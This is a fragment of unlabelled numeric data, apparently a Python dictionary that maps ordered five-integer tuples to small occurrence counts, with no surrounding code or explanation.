(0, 1, 1, 7, 12): 1,
(0, 1, 1, 8, 13): 1,
(0, 1, 1, 9, 12): 1,
(0, 1, 1, 10, 11): 1,
(0, 1, 2, 2, 7): 1,
(0, 1, 2, 2, 10): 1,
(0, 1, 2, 2, 11): 1,
(0, 1, 2, 2, 12): 1,
(0, 1, 2, 3, 6): 2,
(0, 1, 2, 3, 7): 2,
(0, 1, 2, 3, 8): 1,
(0, 1, 2, 3, 10): 1,
(0, 1, 2, 3, 11): 3,
(0, 1, 2, 3, 12): 2,
(0, 1, 2, 3, 13): 4,
(0, 1, 2, 4, 5): 1,
(0, 1, 2, 4, 6): 3,
(0, 1, 2, 4, 7): 2,
(0, 1, 2, 4, 8): 2,
(0, 1, 2, 4, 9): 1,
(0, 1, 2, 4, 10): 4,
(0, 1, 2, 4, 11): 3,
(0, 1, 2, 4, 12): 3,
(0, 1, 2, 5, 5): 1,
(0, 1, 2, 5, 6): 1,
(0, 1, 2, 5, 7): 4,
(0, 1, 2, 5, 8): 1,
(0, 1, 2, 5, 9): 4,
(0, 1, 2, 5, 10): 1,
(0, 1, 2, 5, 11): 1,
(0, 1, 2, 5, 12): 1,
(0, 1, 2, 5, 13): 1,
(0, 1, 2, 6, 6): 2,
(0, 1, 2, 6, 7): 1,
(0, 1, 2, 6, 8): 5,
(0, 1, 2, 6, 9): 1,
(0, 1, 2, 6, 10): 1,
(0, 1, 2, 6, 12): 3,
(0, 1, 2, 6, 13): 1,
(0, 1, 2, 7, 7): 3,
(0, 1, 2, 7, 8): 1,
(0, 1, 2, 7, 9): 2,
(0, 1, 2, 7, 10): 1,
(0, 1, 2, 7, 11): 1,
(0, 1, 2, 7, 12): 1,
(0, 1, 2, 7, 13): 2,
(0, 1, 2, 8, 8): 1,
(0, 1, 2, 8, 12): 2,
(0, 1, 2, 8, 13): 1,
(0, 1, 2, 9, 11): 2,
(0, 1, 2, 9, 12): 2,
(0, 1, 2, 9, 13): 1,
(0, 1, 2, 10, 10): 1,
(0, 1, 2, 10, 11): 1,
(0, 1, 2, 10, 12): 2,
(0, 1, 2, 11, 11): 1,
(0, 1, 3, 3, 5): 1,
(0, 1, 3, 3, 6): 2,
(0, 1, 3, 3, 7): 2,
(0, 1, 3, 3, 8): 1,
(0, 1, 3, 3, 10): 1,
(0, 1, 3, 3, 11): 1,
(0, 1, 3, 3, 12): 2,
(0, 1, 3, 3, 13): 1,
(0, 1, 3, 4, 5): 1,
(0, 1, 3, 4, 6): 1,
(0, 1, 3, 4, 7): 2,
(0, 1, 3, 4, 9): 2,
(0, 1, 3, 4, 10): 2,
(0, 1, 3, 4, 11): 3,
(0, 1, 3, 4, 13): 3,
(0, 1, 3, 5, 6): 1,
(0, 1, 3, 5, 7): 1,
(0, 1, 3, 5, 8): 3,
(0, 1, 3, 5, 9): 3,
(0, 1, 3, 5, 10): 3,
(0, 1, 3, 5, 12): 1,
(0, 1, 3, 5, 13): 1,
(0, 1, 3, 6, 6): 1,
(0, 1, 3, 6, 7): 2,
(0, 1, 3, 6, 8): 2,
(0, 1, 3, 6, 9): 5,
(0, 1, 3, 6, 10): 1,
(0, 1, 3, 6, 11): 2,
(0, 1, 3, 6, 12): 2,
(0, 1, 3, 6, 13): 3,
(0, 1, 3, 7, 7): 2,
(0, 1, 3, 7, 8): 2,
(0, 1, 3, 7, 9): 1,
(0, 1, 3, 7, 10): 2,
(0, 1, 3, 7, 12): 2,
(0, 1, 3, 7, 13): 1,
(0, 1, 3, 8, 9): 1,
(0, 1, 3, 8, 10): 1,
(0, 1, 3, 8, 11): 1,
(0, 1, 3, 8, 13): 2,
(0, 1, 3, 9, 10): 1,
(0, 1, 3, 9, 11): 2,
(0, 1, 3, 9, 12): 3,
(0, 1, 3, 9, 13): 2,
(0, 1, 3, 10, 11): 3,
(0, 1, 3, 10, 12): 1,
(0, 1, 3, 10, 13): 3,
(0, 1, 3, 11, 12): 1,
(0, 1, 3, 11, 13): 1,
(0, 1, 3, 12, 13): 1,
(0, 1, 3, 13, 13): 1,
(0, 1, 4, 4, 6): 1,
(0, 1, 4, 4, 10): 1,
(0, 1, 4, 5, 7): 1,
(0, 1, 4, 5, 8): 1,
(0, 1, 4, 5, 9): 3,
(0, 1, 4, 5, 10): 1,
(0, 1, 4, 5, 11): 1,
(0, 1, 4, 5, 12): 1,
(0, 1, 4, 6, 6): 1,
(0, 1, 4, 6, 7): 1,
(0, 1, 4, 6, 8): 3,
(0, 1, 4, 6, 9): 1,
(0, 1, 4, 6, 10): 3,
(0, 1, 4, 6, 11): 2,
(0, 1, 4, 6, 12): 4,
(0, 1, 4, 6, 13): 1,
(0, 1, 4, 7, 7): 3,
(0, 1, 4, 7, 9): 2,
(0, 1, 4, 7, 10): 2,
(0, 1, 4, 7, 11): 2,
(0, 1, 4, 7, 12): 1,
(0, 1, 4, 7, 13): 2,
(0, 1, 4, 8, 9): 1,
(0, 1, 4, 8, 10): 3,
(0, 1, 4, 8, 11): 1,
(0, 1, 4, 9, 10): 1,
(0, 1, 4, 9, 11): 1,
(0, 1, 4, 9, 13): 1,
(0, 1, 4, 10, 12): 3,
(0, 1, 4, 10, 13): 1,
(0, 1, 4, 11, 13): 2,
(0, 1, 4, 12, 13): 1,
(0, 1, 4, 13, 13): 1,
(0, 1, 5, 5, 7): 1,
(0, 1, 5, 5, 12): 2,
(0, 1, 5, 6, 6): 3,
(0, 1, 5, 6, 7): 5,
(0, 1, 5, 6, 8): 3,
(0, 1, 5, 6, 9): 1,
(0, 1, 5, 6, 11): 3,
(0, 1, 5, 6, 12): 3,
(0, 1, 5, 6, 13): 3,
(0, 1, 5, 7, 7): 2,
(0, 1, 5, 7, 8): 3,
(0, 1, 5, 7, 9): 1,
(0, 1, 5, 7, 10): 3,
(0, 1, 5, 7, 11): 2,
(0, 1, 5, 7, 12): 5,
(0, 1, 5, 7, 13): 1,
(0, 1, 5, 8, 9): 1,
(0, 1, 5, 8, 10): 2,
(0, 1, 5, 8, 11): 2,
(0, 1, 5, 8, 13): 1,
(0, 1, 5, 9, 10): 1,
(0, 1, 5, 9, 12): 1,
(0, 1, 5, 10, 13): 2,
(0, 1, 5, 11, 12): 1,
(0, 1, 5, 11, 13): 1,
(0, 1, 5, 12, 13): 1,
(0, 1, 6, 6, 6): 1,
(0, 1, 6, 6, 7): 4,
(0, 1, 6, 6, 8): 2,
(0, 1, 6, 6, 9): 2,
(0, 1, 6, 6, 10): 1,
(0, 1, 6, 6, 11): 1,
(0, 1, 6, 6, 12): 4,
(0, 1, 6, 6, 13): 2,
(0, 1, 6, 7, 7): 4,
(0, 1, 6, 7, 8): 5,
(0, 1, 6, 7, 9): 1,
(0, 1, 6, 7, 10): 1,
(0, 1, 6, 7, 11): 2,
(0, 1, 6, 7, 12): 2,
(0, 1, 6, 7, 13): 5,
(0, 1, 6, 8, 8): 1,
(0, 1, 6, 8, 9): 1,
(0, 1, 6, 8, 10): 2,
(0, 1, 6, 8, 11): 1,
(0, 1, 6, 8, 12): 3,
(0, 1, 6, 8, 13): 1,
(0, 1, 6, 9, 11): 1,
(0, 1, 6, 9, 12): 1,
(0, 1, 6, 9, 13): 2,
(0, 1, 6, 10, 12): 1,
(0, 1, 6, 11, 13): 1,
(0, 1, 7, 7, 7): 1,
(0, 1, 7, 7, 8): 3,
(0, 1, 7, 7, 9): 1,
(0, 1, 7, 7, 10): 1,
(0, 1, 7, 7, 11): 1,
(0, 1, 7, 7, 12): 2,
(0, 1, 7, 7, 13): 2,
(0, 1, 7, 8, 13): 3,
(0, 1, 7, 9, 12): 2,
(0, 1, 7, 10, 12): 1,
(0, 1, 7, 10, 13): 1,
(0, 1, 8, 11, 13): 1,
(0, 1, 9, 12, 13): 1,
(0, 1, 10, 13, 13): 1,
(0, 2, 2, 2, 7): 2,
(0, 2, 2, 2, 10): 2,
(0, 2, 2, 2, 11): 2,
(0, 2, 2, 3, 5): 1,
(0, 2, 2, 3, 6): 3,
(0, 2, 2, 3, 7): 1,
(0, 2, 2, 3, 8): 2,
(0, 2, 2, 3, 9): 2,
(0, 2, 2, 3, 10): 2,
(0, 2, 2, 3, 12): 3,
(0, 2, 2, 3, 13): 1,
(0, 2, 2, 4, 5): 2,
(0, 2, 2, 4, 7): 2,
(0, 2, 2, 4, 8): 1,
(0, 2, 2, 4, 9): 2,
(0, 2, 2, 4, 10): 1,
(0, 2, 2, 4, 11): 1,
(0, 2, 2, 4, 12): 1,
(0, 2, 2, 4, 13): 2,
(0, 2, 2, 5, 6): 2,
(0, 2, 2, 5, 7): 2,
(0, 2, 2, 5, 8): 3,
(0, 2, 2, 5, 10): 1,
(0, 2, 2, 5, 11): 1,
(0, 2, 2, 5, 12): 2,
(0, 2, 2, 5, 13): 1,
(0, 2, 2, 6, 6): 1,
(0, 2, 2, 6, 7): 1,
(0, 2, 2, 6, 8): 1,
(0, 2, 2, 6, 9): 4,
(0, 2, 2, 6, 10): 2,
(0, 2, 2, 6, 11): 3,
(0, 2, 2, 6, 12): 3,
(0, 2, 2, 6, 13): 1,
(0, 2, 2, 7, 7): 2,
(0, 2, 2, 7, 8): 3,
(0, 2, 2, 7, 10): 3,
(0, 2, 2, 7, 12): 2,
(0, 2, 2, 7, 13): 1,
(0, 2, 2, 8, 9): 1,
(0, 2, 2, 8, 10): 3,
(0, 2, 2, 8, 11): 2,
(0, 2, 2, 8, 12): 1,
(0, 2, 2, 8, 13): 1,
(0, 2, 2, 9, 10): 1,
(0, 2, 2, 9, 11): 1,
(0, 2, 2, 9, 12): 2,
(0, 2, 2, 9, 13): 1,
(0, 2, 2, 10, 10): 1,
(0, 2, 2, 10, 11): 1,
(0, 2, 2, 10, 12): 1,
(0, 2, 2, 10, 13): 3,
(0, 2, 2, 11, 11): 1,
(0, 2, 2, 11, 12): 2,
(0, 2, 2, 12, 13): 1,
(0, 2, 3, 3, 4): 2,
(0, 2, 3, 3, 5): 1,
(0, 2, 3, 3, 6): 2,
(0, 2, 3, 3, 7): 2,
(0, 2, 3, 3, 8): 2,
(0, 2, 3, 3, 9): 3,
(0, 2, 3, 3, 10): 1,
(0, 2, 3, 3, 11): 2,
(0, 2, 3, 3, 12): 2,
(0, 2, 3, 3, 13): 3,
(0, 2, 3, 4, 4): 2,
(0, 2, 3, 4, 5): 1,
(0, 2, 3, 4, 6): 3,
(0, 2, 3, 4, 7): 5,
(0, 2, 3, 4, 8): 3,
(0, 2, 3, 4, 9): 5,
(0, 2, 3, 4, 10): 3,
(0, 2, 3, 4, 11): 2,
(0, 2, 3, 4, 12): 8,
(0, 2, 3, 4, 13): 1,
(0, 2, 3, 5, 5): 1,
(0, 2, 3, 5, 6): 3,
(0, 2, 3, 5, 7): 4,
(0, 2, 3, 5, 8): 1,
(0, 2, 3, 5, 9): 3,
(0, 2, 3, 5, 11): 4,
(0, 2, 3, 5, 12): 4,
(0, 2, 3, 5, 13): 3,
(0, 2, 3, 6, 6): 4,
(0, 2, 3, 6, 7): 4,
(0, 2, 3, 6, 8): 5,
(0, 2, 3, 6, 9): 2,
(0, 2, 3, 6, 10): 5,
(0, 2, 3, 6, 11): 2,
(0, 2, 3, 6, 12): 7,
(0, 2, 3, 6, 13): 4,
(0, 2, 3, 7, 7): 4,
(0, 2, 3, 7, 8): 2,
(0, 2, 3, 7, 9): 6,
(0, 2, 3, 7, 10): 2,
(0, 2, 3, 7, 11): 5,
(0, 2, 3, 7, 12): 5,
(0, 2, 3, 7, 13): 1,
(0, 2, 3, 8, 8): 2,
(0, 2, 3, 8, 9): 2,
(0, 2, 3, 8, 10): 4,
(0, 2, 3, 8, 11): 1,
(0, 2, 3, 8, 12): 4,
(0, 2, 3, 8, 13): 1,
(0, 2, 3, 9, 9): 4,
(0, 2, 3, 9, 10): 3,
(0, 2, 3, 9, 11): 1,
(0, 2, 3, 9, 12): 4,
(0, 2, 3, 9, 13): 2,
(0, 2, 3, 10, 10): 1,
(0, 2, 3, 10, 11): 1,
(0, 2, 3, 10, 12): 5,
(0, 2, 3, 10, 13): 1,
(0, 2, 3, 11, 11): 1,
(0, 2, 3, 11, 12): 3,
(0, 2, 3, 11, 13): 2,
(0, 2, 3, 12, 12): 5,
(0, 2, 3, 12, 13): 3,
(0, 2, 3, 13, 13): 1,
(0, 2, 4, 4, 5): 2,
(0, 2, 4, 4, 6): 1,
(0, 2, 4, 4, 7): 4,
(0, 2, 4, 4, 9): 1,
(0, 2, 4, 4, 10): 4,
(0, 2, 4, 4, 11): 4,
(0, 2, 4, 4, 12): 2,
(0, 2, 4, 4, 13): 3,
(0, 2, 4, 5, 5): 2,
(0, 2, 4, 5, 6): 4,
(0, 2, 4, 5, 7): 2,
(0, 2, 4, 5, 8): 5,
(0, 2, 4, 5, 10): 4,
(0, 2, 4, 5, 11): 3,
(0, 2, 4, 5, 12): 4,
(0, 2, 4, 5, 13): 2,
(0, 2, 4, 6, 6): 4,
(0, 2, 4, 6, 7): 3,
(0, 2, 4, 6, 8): 2,
(0, 2, 4, 6, 9): 6,
(0, 2, 4, 6, 10): 4,
(0, 2, 4, 6, 11): 4,
(0, 2, 4, 6, 12): 2,
(0, 2, 4, 6, 13): 3,
(0, 2, 4, 7, 7): 4,
(0, 2, 4, 7, 8): 5,
(0, 2, 4, 7, 9): 1,
(0, 2, 4, 7, 10): 4,
(0, 2, 4, 7, 11): 2,
(0, 2, 4, 7, 12): 8,
(0, 2, 4, 7, 13): 1,
(0, 2, 4, 8, 8): 1,
(0, 2, 4, 8, 9): 3,
(0, 2, 4, 8, 10): 4,
(0, 2, 4, 8, 11): 6,
(0, 2, 4, 8, 12): 2,
(0, 2, 4, 8, 13): 6,
(0, 2, 4, 9, 10): 3,
(0, 2, 4, 9, 11): 1,
(0, 2, 4, 9, 12): 5,
(0, 2, 4, 10, 10): 2,
(0, 2, 4, 10, 11): 6,
(0, 2, 4, 10, 12): 2,
(0, 2, 4, 10, 13): 3,
(0, 2, 4, 11, 11): 1,
(0, 2, 4, 11, 12): 4,
(0, 2, 4, 11, 13): 1,
(0, 2, 4, 12, 12): 2,
(0, 2, 4, 12, 13): 3,
(0, 2, 5, 5, 6): 1,
(0, 2, 5, 5, 7): 2,
(0, 2, 5, 5, 8): 2,
(0, 2, 5, 5, 9): 2,
(0, 2, 5, 5, 11): 2,
(0, 2, 5, 5, 13): 1,
(0, 2, 5, 6, 6): 2,
(0, 2, 5, 6, 7): 2,
(0, 2, 5, 6, 8): 3,
(0, 2, 5, 6, 9): 6,
(0, 2, 5, 6, 10): 5,
(0, 2, 5, 6, 11): 1,
(0, 2, 5, 6, 12): 6,
(0, 2, 5, 6, 13): 2,
(0, 2, 5, 7, 7): 5,
(0, 2, 5, 7, 8): 3,
(0, 2, 5, 7, 9): 4,
(0, 2, 5, 7, 11): 1,
(0, 2, 5, 7, 12): 1,
(0, 2, 5, 7, 13): 2,
(0, 2, 5, 8, 8): 3,
(0, 2, 5, 8, 9): 1,
(0, 2, 5, 8, 10): 3,
(0, 2, 5, 8, 11): 1,
(0, 2, 5, 8, 12): 6,
(0, 2, 5, 8, 13): 2,
(0, 2, 5, 9, 10): 1,
(0, 2, 5, 9, 11): 3,
(0, 2, 5, 9, 12): 2,
(0, 2, 5, 9, 13): 1,
(0, 2, 5, 10, 10): 1,
(0, 2, 5, 10, 11): 3,
(0, 2, 5, 10, 12): 2,
(0, 2, 5, 11, 11): 1,
(0, 2, 5, 11, 13): 2,
(0, 2, 5, 12, 12): 2,
(0, 2, 5, 12, 13): 1,
(0, 2, 5, 13, 13): 2,
(0, 2, 6, 6, 6): 2,
(0, 2, 6, 6, 7): 3,
(0, 2, 6, 6, 8): 4,
(0, 2, 6, 6, 9): 3,
(0, 2, 6, 6, 10): 2,
(0, 2, 6, 6, 11): 1,
(0, 2, 6, 6, 12): 4,
(0, 2, 6, 6, 13): 2,
(0, 2, 6, 7, 7): 3,
(0, 2, 6, 7, 8): 3,
(0, 2, 6, 7, 9): 4,
(0, 2, 6, 7, 10): 2,
(0, 2, 6, 7, 11): 3,
(0, 2, 6, 7, 12): 6,
(0, 2, 6, 7, 13): 3,
(0, 2, 6, 8, 8): 2,
(0, 2, 6, 8, 9): 3,
(0, 2, 6, 8, 10): 2,
(0, 2, 6, 8, 11): 3,
(0, 2, 6, 8, 12): 2,
(0, 2, 6, 8, 13): 3,
(0, 2, 6, 9, 9): 2,
(0, 2, 6, 9, 10): 4,
(0, 2, 6, 9, 11): 3,
(0, 2, 6, 9, 12): 7,
(0, 2, 6, 9, 13): 1,
(0, 2, 6, 10, 10): 2,
(0, 2, 6, 10, 11): 2,
(0, 2, 6, 10, 12): 2,
(0, 2, 6, 10, 13): 3,
(0, 2, 6, 11, 12): 2,
(0, 2, 6, 11, 13): 1,
(0, 2, 6, 12, 12): 3,
(0, 2, 6, 12, 13): 2,
(0, 2, 7, 7, 7): 3,
(0, 2, 7, 7, 8): 2,
(0, 2, 7, 7, 9): 2,
(0, 2, 7, 7, 10): 2,
(0, 2, 7, 7, 11): 2,
(0, 2, 7, 7, 12): 2,
(0, 2, 7, 7, 13): 2,
(0, 2, 7, 8, 8): 1,
(0, 2, 7, 8, 9): 1,
(0, 2, 7, 8, 10): 5,
(0, 2, 7, 8, 11): 2,
(0, 2, 7, 8, 12): 6,
(0, 2, 7, 8, 13): 2,
(0, 2, 7, 9, 10): 1,
(0, 2, 7, 9, 12): 4,
(0, 2, 7, 9, 13): 3,
(0, 2, 7, 10, 11): 3,
(0, 2, 7, 10, 12): 2,
(0, 2, 7, 10, 13): 1,
(0, 2, 7, 11, 11): 1,
(0, 2, 7, 11, 12): 2,
(0, 2, 7, 11, 13): 2,
(0, 2, 7, 12, 12): 3,
(0, 2, 7, 12, 13): 1,
(0, 2, 8, 8, 9): 1,
(0, 2, 8, 8, 10): 2,
(0, 2, 8, 8, 11): 1,
(0, 2, 8, 8, 13): 3,
(0, 2, 8, 9, 12): 4,
(0, 2, 8, 9, 13): 1,
(0, 2, 8, 10, 10): 1,
(0, 2, 8, 10, 11): 1,
(0, 2, 8, 10, 12): 2,
(0, 2, 8, 10, 13): 2,
(0, 2, 8, 11, 12): 3,
(0, 2, 8, 11, 13): 1,
(0, 2, 8, 12, 12): 2,
(0, 2, 8, 12, 13): 2,
(0, 2, 8, 13, 13): 2,
(0, 2, 9, 9, 12): 2,
(0, 2, 9, 10, 11): 1,
(0, 2, 9, 10, 12): 1,
(0, 2, 9, 10, 13): 2,
(0, 2, 9, 11, 11): 1,
(0, 2, 9, 11, 12): 2,
(0, 2, 9, 11, 13): 2,
(0, 2, 9, 12, 12): 4,
(0, 2, 9, 12, 13): 1,
(0, 2, 10, 10, 11): 2,
(0, 2, 10, 10, 12): 1,
(0, 2, 10, 11, 11): 2,
(0, 2, 10, 11, 12): 1,
(0, 2, 10, 11, 13): 2,
(0, 2, 10, 12, 13): 2,
(0, 2, 10, 13, 13): 1,
(0, 3, 3, 3, 4): 1,
(0, 3, 3, 3, 5): 2,
(0, 3, 3, 3, 7): 2,
(0, 3, 3, 3, 8): 1,
(0, 3, 3, 3, 10): 2,
(0, 3, 3, 3, 11): 1,
(0, 3, 3, 3, 12): 2,
(0, 3, 3, 3, 13): 1,
(0, 3, 3, 4, 6): 3,
(0, 3, 3, 4, 7): 2,
(0, 3, 3, 4, 9): 3,
(0, 3, 3, 4, 10): 1,
(0, 3, 3, 4, 11): 3,
(0, 3, 3, 4, 12): 1,
(0, 3, 3, 4, 13): 2,
(0, 3, 3, 5, 6): 2,
(0, 3, 3, 5, 7): 3,
(0, 3, 3, 5, 8): 1,
(0, 3, 3, 5, 9): 3,
(0, 3, 3, 5, 10): 1,
(0, 3, 3, 5, 11): 1,
(0, 3, 3, 5, 12): 4,
(0, 3, 3, 5, 13): 1,
(0, 3, 3, 6, 6): 3,
(0, 3, 3, 6, 7): 3,
(0, 3, 3, 6, 8): 4,
(0, 3, 3, 6, 9): 2,
(0, 3, 3, 6, 10): 1,
(0, 3, 3, 6, 11): 4,
(0, 3, 3, 6, 12): 4,
(0, 3, 3, 6, 13): 6,
(0, 3, 3, 7, 7): 3,
(0, 3, 3, 7, 8): 2,
(0, 3, 3, 7, 9): 3,
(0, 3, 3, 7, 10): 2,
(0, 3, 3, 7, 11): 2,
(0, 3, 3, 7, 12): 3,
(0, 3, 3, 7, 13): 2,
(0, 3, 3, 8, 9): 3,
(0, 3, 3, 8, 10): 1,
(0, 3, 3, 8, 11): 1,
(0, 3, 3, 8, 13): 1,
(0, 3, 3, 9, 10): 2,
(0, 3, 3, 9, 11): 3,
(0, 3, 3, 9, 12): 3,
(0, 3, 3, 9, 13): 4,
(0, 3, 3, 10, 11): 1,
(0, 3, 3, 10, 12): 1,
(0, 3, 3, 10, 13): 1,
(0, 3, 3, 11, 11): 1,
(0, 3, 3, 11, 12): 2,
(0, 3, 3, 11, 13): 2,
(0, 3, 3, 12, 13): 2,
(0, 3, 3, 13, 13): 1,
(0, 3, 4, 4, 6): 3,
(0, 3, 4, 4, 10): 2,
(0, 3, 4, 4, 13): 1,
(0, 3, 4, 5, 5): 2,
(0, 3, 4, 5, 6): 4,
(0, 3, 4, 5, 7): 3,
(0, 3, 4, 5, 9): 2,
(0, 3, 4, 5, 10): 3,
(0, 3, 4, 5, 11): 3,
(0, 3, 4, 5, 13): 2,
(0, 3, 4, 6, 6): 3,
(0, 3, 4, 6, 7): 5,
(0, 3, 4, 6, 8): 5,
(0, 3, 4, 6, 9): 6,
(0, 3, 4, 6, 10): 7,
(0, 3, 4, 6, 11): 4,
(0, 3, 4, 6, 12): 9,
(0, 3, 4, 6, 13): 1,
(0, 3, 4, 7, 7): 4,
(0, 3, 4, 7, 8): 2,
(0, 3, 4, 7, 9): 2,
(0, 3, 4, 7, 10): 2,
(0, 3, 4, 7, 11): 3,
(0, 3, 4, 7, 12): 1,
(0, 3, 4, 7, 13): 5,
(0, 3, 4, 8, 9): 1,
(0, 3, 4, 8, 10): 4,
(0, 3, 4, 8, 12): 2,
(0, 3, 4, 8, 13): 1,
(0, 3, 4, 9, 9): 3,
(0, 3, 4, 9, 10): 2,
(0, 3, 4, 9, 11): 3,
(0, 3, 4, 9, 12): 1,
(0, 3, 4, 9, 13): 1,
(0, 3, 4, 10, 10): 3,
(0, 3, 4, 10, 11): 2,
(0, 3, 4, 10, 12): 3,
(0, 3, 4, 10, 13): 3,
(0, 3, 4, 11, 12): 2,
(0, 3, 4, 11, 13): 1,
(0, 3, 4, 12, 13): 2,
(0, 3, 4, 13, 13): 1,
(0, 3, 5, 5, 6): 1,
(0, 3, 5, 5, 8): 1,
(0, 3, 5, 5, 9): 2,
(0, 3, 5, 5, 10): 1,
(0, 3, 5, 5, 11): 1,
(0, 3, 5, 5, 12): 1,
(0, 3, 5, 5, 13): 1,
(0, 3, 5, 6, 6): 2,
(0, 3, 5, 6, 7): 2,
(0, 3, 5, 6, 8): 3,
(0, 3, 5, 6, 9): 7,
(0, 3, 5, 6, 10): 2,
(0, 3, 5, 6, 11): 1,
(0, 3, 5, 6, 12): 4,
(0, 3, 5, 6, 13): 1,
(0, 3, 5, 7, 7): 3,
(0, 3, 5, 7, 8): 2,
(0, 3, 5, 7, 9): 4,
(0, 3, 5, 7, 10): 4,
(0, 3, 5, 7, 11): 1,
(0, 3, 5, 7, 12): 2,
(0, 3, 5, 7, 13): 1,
(0, 3, 5, 8, 9): 2,
(0, 3, 5, 8, 10): 1,
(0, 3, 5, 8, 11): 2,
(0, 3, 5, 8, 12): 1,
(0, 3, 5, 8, 13): 6,
(0, 3, 5, 9, 9): 4,
(0, 3, 5, 9, 10): 5,
(0, 3, 5, 9, 11): 3,
(0, 3, 5, 9, 12): 6,
(0, 3, 5, 9, 13): 2,
(0, 3, 5, 10, 11): 4,
(0, 3, 5, 10, 12): 3,
(0, 3, 5, 11, 11): 1,
(0, 3, 5, 11, 12): 1,
(0, 3, 5, 11, 13): 1,
(0, 3, 5, 12, 13): 1,
(0, 3, 6, 6, 6): 2,
(0, 3, 6, 6, 7): 1,
(0, 3, 6, 6, 8): 3,
(0, 3, 6, 6, 9): 3,
(0, 3, 6, 6, 10): 4,
(0, 3, 6, 6, 11): 2,
(0, 3, 6, 6, 12): 3,
(0, 3, 6, 6, 13): 2,
(0, 3, 6, 7, 7): 3,
(0, 3, 6, 7, 8): 4,
(0, 3, 6, 7, 9): 5,
(0, 3, 6, 7, 10): 2,
(0, 3, 6, 7, 11): 2,
(0, 3, 6, 7, 12): 7,
(0, 3, 6, 7, 13): 2,
(0, 3, 6, 8, 8): 2,
(0, 3, 6, 8, 9): 4,
(0, 3, 6, 8, 10): 2,
(0, 3, 6, 8, 11): 2,
(0, 3, 6, 8, 12): 6,
(0, 3, 6, 8, 13): 2,
(0, 3, 6, 9, 9): 2,
(0, 3, 6, 9, 10): 3,
(0, 3, 6, 9, 11): 6,
(0, 3, 6, 9, 12): 4,
(0, 3, 6, 9, 13): 4,
(0, 3, 6, 10, 10): 2,
(0, 3, 6, 10, 11): 2,
(0, 3, 6, 10, 12): 7,
(0, 3, 6, 10, 13): 1,
(0, 3, 6, 11, 12): 3,
(0, 3, 6, 11, 13): 1,
(0, 3, 6, 12, 12): 7,
(0, 3, 6, 12, 13): 2,
(0, 3, 7, 7, 7): 2,
(0, 3, 7, 7, 8): 2,
(0, 3, 7, 7, 9): 5,
(0, 3, 7, 7, 10): 4,
(0, 3, 7, 7, 11): 2,
(0, 3, 7, 7, 12): 1,
(0, 3, 7, 7, 13): 3,
(0, 3, 7, 8, 9): 2,
(0, 3, 7, 8, 10): 3,
(0, 3, 7, 8, 11): 3,
(0, 3, 7, 8, 13): 2,
(0, 3, 7, 9, 9): 3,
(0, 3, 7, 9, 10): 2,
(0, 3, 7, 9, 11): 3,
(0, 3, 7, 9, 12): 5,
(0, 3, 7, 9, 13): 1,
(0, 3, 7, 10, 11): 3,
(0, 3, 7, 10, 12): 3,
(0, 3, 7, 10, 13): 5,
(0, 3, 7, 11, 12): 1,
(0, 3, 7, 11, 13): 1,
(0, 3, 7, 12, 13): 1,
(0, 3, 8, 8, 10): 2,
(0, 3, 8, 8, 13): 1,
(0, 3, 8, 9, 9): 2,
(0, 3, 8, 9, 10): 2,
(0, 3, 8, 9, 11): 1,
(0, 3, 8, 9, 13): 2,
(0, 3, 8, 10, 12): 4,
(0, 3, 8, 11, 11): 2,
(0, 3, 8, 11, 13): 3,
(0, 3, 9, 9, 11): 2,
(0, 3, 9, 9, 12): 2,
(0, 3, 9, 9, 13): 4,
(0, 3, 9, 10, 11): 1,
(0, 3, 9, 10, 12): 2,
(0, 3, 9, 10, 13): 1,
(0, 3, 9, 11, 11): 1,
(0, 3, 9, 11, 12): 3,
(0, 3, 9, 11, 13): 1,
(0, 3, 9, 12, 13): 2,
(0, 3, 10, 10, 12): 1,
(0, 3, 10, 10, 13): 1,
(0, 3, 10, 11, 12): 1,
(0, 3, 10, 11, 13): 2,
(0, 3, 10, 12, 12): 2,
(0, 3, 10, 12, 13): 2,
(0, 3, 10, 13, 13): 2,
(0, 3, 11, 11, 13): 1,
(0, 3, 11, 12, 13): 1,
(0, 3, 12, 12, 13): 1,
(0, 3, 12, 13, 13): 1,
(0, 3, 13, 13, 13): 2,
(0, 4, 4, 4, 10): 1,
(0, 4, 4, 5, 6): 1,
(0, 4, 4, 5, 7): 1,
(0, 4, 4, 5, 8): 1,
(0, 4, 4, 5, 10): 1,
(0, 4, 4, 6, 6): 2,
(0, 4, 4, 6, 7): 1,
(0, 4, 4, 6, 8): 3,
(0, 4, 4, 6, 9): 3,
(0, 4, 4, 6, 10): 1,
(0, 4, 4, 6, 11): 2,
(0, 4, 4, 6, 12): 2,
(0, 4, 4, 6, 13): 2,
(0, 4, 4, 7, 7): 1,
(0, 4, 4, 7, 8): 1,
(0, 4, 4, 7, 10): 4,
(0, 4, 4, 8, 10): 3,
(0, 4, 4, 8, 11): 2,
(0, 4, 4, 8, 12): 1,
(0, 4, 4, 9, 10): 2,
(0, 4, 4, 10, 11): 1,
(0, 4, 4, 10, 12): 3,
(0, 4, 4, 10, 13): 1,
(0, 4, 4, 13, 13): 1,
(0, 4, 5, 5, 7): 1,
(0, 4, 5, 5, 8): 1,
(0, 4, 5, 5, 10): 1,
(0, 4, 5, 5, 13): 2,
(0, 4, 5, 6, 6): 1,
(0, 4, 5, 6, 7): 2,
(0, 4, 5, 6, 8): 5,
(0, 4, 5, 6, 9): 1,
(0, 4, 5, 6, 11): 1,
(0, 4, 5, 6, 12): 5,
(0, 4, 5, 6, 13): 2,
(0, 4, 5, 7, 7): 2,
(0, 4, 5, 7, 9): 3,
(0, 4, 5, 7, 10): 3,
(0, 4, 5, 7, 11): 4,
(0, 4, 5, 7, 13): 1,
(0, 4, 5, 8, 8): 1,
(0, 4, 5, 8, 10): 5,
(0, 4, 5, 9, 11): 2,
(0, 4, 5, 9, 12): 3,
(0, 4, 5, 9, 13): 1,
(0, 4, 5, 10, 10): 2,
(0, 4, 5, 10, 11): 2,
(0, 4, 5, 10, 12): 5,
(0, 4, 5, 10, 13): 2,
(0, 4, 5, 11, 11): 2,
(0, 4, 5, 11, 12): 1,
(0, 4, 5, 11, 13): 1,
(0, 4, 6, 6, 6): 2,
(0, 4, 6, 6, 7): 1,
(0, 4, 6, 6, 8): 1,
(0, 4, 6, 6, 9): 2,
(0, 4, 6, 6, 10): 2,
(0, 4, 6, 6, 11): 1,
(0, 4, 6, 6, 12): 3,
(0, 4, 6, 6, 13): 1,
(0, 4, 6, 7, 7): 1,
(0, 4, 6, 7, 8): 4,
(0, 4, 6, 7, 9): 3,
(0, 4, 6, 7, 10): 4,
(0, 4, 6, 7, 11): 3,
(0, 4, 6, 7, 12): 6,
(0, 4, 6, 7, 13): 1,
